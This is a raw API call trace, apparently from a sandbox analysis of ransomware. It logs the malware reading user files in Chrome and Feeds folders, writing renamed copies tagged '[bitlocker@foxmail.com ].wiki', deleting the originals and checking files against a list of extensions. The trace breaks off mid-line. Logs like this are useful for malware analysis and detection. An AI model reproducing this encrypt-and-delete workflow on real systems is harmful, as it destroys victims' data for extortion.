[0178.706] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0178.706] SetEndOfFile (hFile=0x124) returned 1 [0178.707] CloseHandle (hObject=0x124) returned 1 [0178.707] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.707] SetEndOfFile (hFile=0x334) returned 1 [0178.707] CloseHandle (hObject=0x334) returned 1 [0178.708] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.708] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current")) returned 1 [0178.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.708] lstrlenW (lpString=".doc") returned 4 [0178.708] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0178.708] lstrlenW (lpString=".docx") returned 5 [0178.708] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0178.708] lstrlenW (lpString=".pdf") returned 4 [0178.708] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0178.708] lstrlenW (lpString=".xls") returned 4 [0178.708] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0178.708] lstrlenW (lpString=".xlsx") returned 5 [0178.708] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0178.708] lstrlenW (lpString=".ppt") returned 4 [0178.708] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0178.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.708] lstrlenW (lpString=".zip") returned 4 [0178.708] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0178.708] lstrlenW (lpString=".rar") returned 4 [0178.709] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString=".bz2") returned 4 [0178.709] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString=".7z") returned 3 [0178.709] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0178.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.709] lstrlenW (lpString=".dbf") returned 4 [0178.709] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.709] lstrlenW (lpString=".1cd") returned 4 [0178.709] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.709] lstrlenW (lpString=".jpg") returned 4 [0178.709] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0178.709] lstrlenW (lpString=".doc") returned 4 [0178.709] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString=".docx") returned 5 [0178.709] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0178.709] lstrlenW (lpString=".pdf") returned 4 [0178.709] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString=".xls") returned 4 [0178.709] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0178.709] lstrlenW (lpString=".xlsx") returned 5 [0178.709] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0178.709] lstrlenW (lpString=".ppt") returned 4 [0178.709] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0178.994] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0179.003] lstrlenW (lpString=".zip") returned 4 [0179.003] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0179.003] lstrlenW (lpString=".rar") returned 4 [0179.003] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0179.003] lstrlenW (lpString=".bz2") returned 4 [0179.011] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0179.011] lstrlenW (lpString=".7z") returned 3 [0179.011] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0179.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0179.011] lstrlenW (lpString=".dbf") returned 4 [0179.011] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0179.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0179.011] lstrlenW (lpString=".1cd") returned 4 [0179.019] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0179.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 140 [0179.022] lstrlenW (lpString=".jpg") returned 4 [0179.022] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0179.022] lstrcmpiW (lpString1=".md5", lpString2=".wiki") returned -1 [0179.022] lstrlenW (lpString="Google Docs.ico.md5") returned 19 [0179.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0179.022] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=16) returned 1 [0179.022] CloseHandle (hObject=0x2e0) returned 1 [0179.022] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5")) returned 0x2020 [0179.022] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0179.023] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.023] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0179.023] GetLastError () returned 0x0 [0179.023] ReadFile (in: hFile=0x2e0, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x10, lpOverlapped=0x0) returned 1 [0179.175] WriteFile (in: hFile=0x158, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x20, lpOverlapped=0x0) returned 1 [0179.446] ReadFile (in: hFile=0x2e0, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.446] WriteFile (in: hFile=0x158, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0179.446] SetEndOfFile (hFile=0x158) returned 1 [0179.890] CloseHandle (hObject=0x158) returned 1 [0179.890] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.890] SetEndOfFile (hFile=0x2e0) returned 1 [0179.891] CloseHandle (hObject=0x2e0) returned 1 [0179.891] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.891] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5")) returned 1 [0179.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.891] lstrlenW (lpString=".doc") returned 4 [0179.891] lstrcmpiW (lpString1=".doc", lpString2=".md5") returned -1 [0179.891] lstrlenW (lpString=".docx") returned 5 [0179.891] lstrcmpiW (lpString1=".docx", lpString2="o.md5") returned -1 [0179.891] lstrlenW (lpString=".pdf") returned 4 [0179.891] lstrcmpiW (lpString1=".pdf", lpString2=".md5") returned 1 [0179.891] lstrlenW (lpString=".xls") returned 4 [0179.891] lstrcmpiW (lpString1=".xls", lpString2=".md5") returned 1 [0179.891] lstrlenW (lpString=".xlsx") returned 5 [0179.891] lstrcmpiW (lpString1=".xlsx", lpString2="o.md5") returned -1 [0179.892] lstrlenW (lpString=".ppt") returned 4 [0179.892] lstrcmpiW (lpString1=".ppt", lpString2=".md5") returned 1 [0179.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.892] lstrlenW (lpString=".zip") returned 4 [0179.892] lstrcmpiW (lpString1=".zip", lpString2=".md5") returned 1 [0179.892] lstrlenW (lpString=".rar") returned 4 [0179.892] lstrcmpiW (lpString1=".rar", lpString2=".md5") returned 1 [0179.892] lstrlenW (lpString=".bz2") returned 4 [0179.892] lstrcmpiW (lpString1=".bz2", lpString2=".md5") returned -1 [0179.892] lstrlenW (lpString=".7z") returned 3 [0179.892] lstrcmpiW (lpString1=".7z", lpString2="md5") returned -1 [0179.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.892] lstrlenW (lpString=".dbf") returned 4 [0179.892] lstrcmpiW (lpString1=".dbf", lpString2=".md5") returned -1 [0179.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.892] lstrlenW (lpString=".1cd") returned 4 [0179.892] lstrcmpiW (lpString1=".1cd", lpString2=".md5") returned -1 [0179.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.892] lstrlenW (lpString=".jpg") returned 4 [0179.892] lstrcmpiW (lpString1=".jpg", lpString2=".md5") returned -1 [0179.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.892] lstrlenW (lpString=".doc") returned 4 [0179.892] lstrcmpiW (lpString1=".doc", lpString2=".md5") returned -1 [0179.892] lstrlenW (lpString=".docx") returned 5 [0179.892] lstrcmpiW (lpString1=".docx", lpString2="o.md5") returned -1 [0179.892] lstrlenW (lpString=".pdf") returned 4 [0179.892] lstrcmpiW (lpString1=".pdf", lpString2=".md5") returned 1 [0179.892] lstrlenW (lpString=".xls") returned 4 [0179.892] lstrcmpiW (lpString1=".xls", lpString2=".md5") returned 1 [0179.893] lstrlenW (lpString=".xlsx") returned 5 [0179.893] lstrcmpiW (lpString1=".xlsx", lpString2="o.md5") returned -1 [0179.893] lstrlenW (lpString=".ppt") returned 4 [0179.893] lstrcmpiW (lpString1=".ppt", lpString2=".md5") returned 1 [0179.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.893] lstrlenW (lpString=".zip") returned 4 [0179.893] lstrcmpiW (lpString1=".zip", lpString2=".md5") returned 1 [0179.893] lstrlenW (lpString=".rar") returned 4 [0179.893] lstrcmpiW (lpString1=".rar", lpString2=".md5") returned 1 [0179.893] lstrlenW (lpString=".bz2") returned 4 [0179.893] lstrcmpiW (lpString1=".bz2", lpString2=".md5") returned -1 [0179.893] lstrlenW (lpString=".7z") returned 3 [0179.893] lstrcmpiW (lpString1=".7z", lpString2="md5") returned -1 [0179.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.893] lstrlenW (lpString=".dbf") returned 4 [0179.893] lstrcmpiW (lpString1=".dbf", lpString2=".md5") returned -1 [0179.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.893] lstrlenW (lpString=".1cd") returned 4 [0179.893] lstrcmpiW (lpString1=".1cd", lpString2=".md5") returned -1 [0179.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 150 [0179.893] lstrlenW (lpString=".jpg") returned 4 [0179.893] lstrcmpiW (lpString1=".jpg", lpString2=".md5") returned -1 [0179.893] lstrcmpiW (lpString1=".feed-ms", lpString2=".wiki") returned -1 [0179.893] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26 [0179.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.154] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=28672) returned 1 [0180.154] CloseHandle (hObject=0x198) returned 1 [0180.154] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms")) returned 0x2020 [0180.154] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.155] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.155] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.155] GetLastError () returned 0x0 [0180.155] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x7000, lpOverlapped=0x0) returned 1 [0180.157] WriteFile (in: hFile=0x334, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x7010, lpOverlapped=0x0) returned 1 [0180.158] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.159] WriteFile (in: hFile=0x334, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x108, lpOverlapped=0x0) returned 1 [0180.159] SetEndOfFile (hFile=0x334) returned 1 [0180.159] CloseHandle (hObject=0x334) returned 1 [0180.159] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.159] SetEndOfFile (hFile=0x198) returned 1 [0180.160] CloseHandle (hObject=0x198) returned 1 [0180.160] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.160] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms")) returned 1 [0180.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.160] lstrlenW (lpString=".doc") returned 4 [0180.160] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0180.160] lstrlenW (lpString=".docx") returned 5 [0180.160] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0180.161] lstrlenW (lpString=".pdf") returned 4 [0180.161] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString=".xls") returned 4 [0180.161] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString=".xlsx") returned 5 [0180.161] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0180.161] lstrlenW (lpString=".ppt") returned 4 [0180.161] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.161] lstrlenW (lpString=".zip") returned 4 [0180.161] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString=".rar") returned 4 [0180.161] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString=".bz2") returned 4 [0180.161] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString=".7z") returned 3 [0180.161] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.161] lstrlenW (lpString=".dbf") returned 4 [0180.161] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.161] lstrlenW (lpString=".1cd") returned 4 [0180.161] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.161] lstrlenW (lpString=".jpg") returned 4 [0180.161] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0180.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 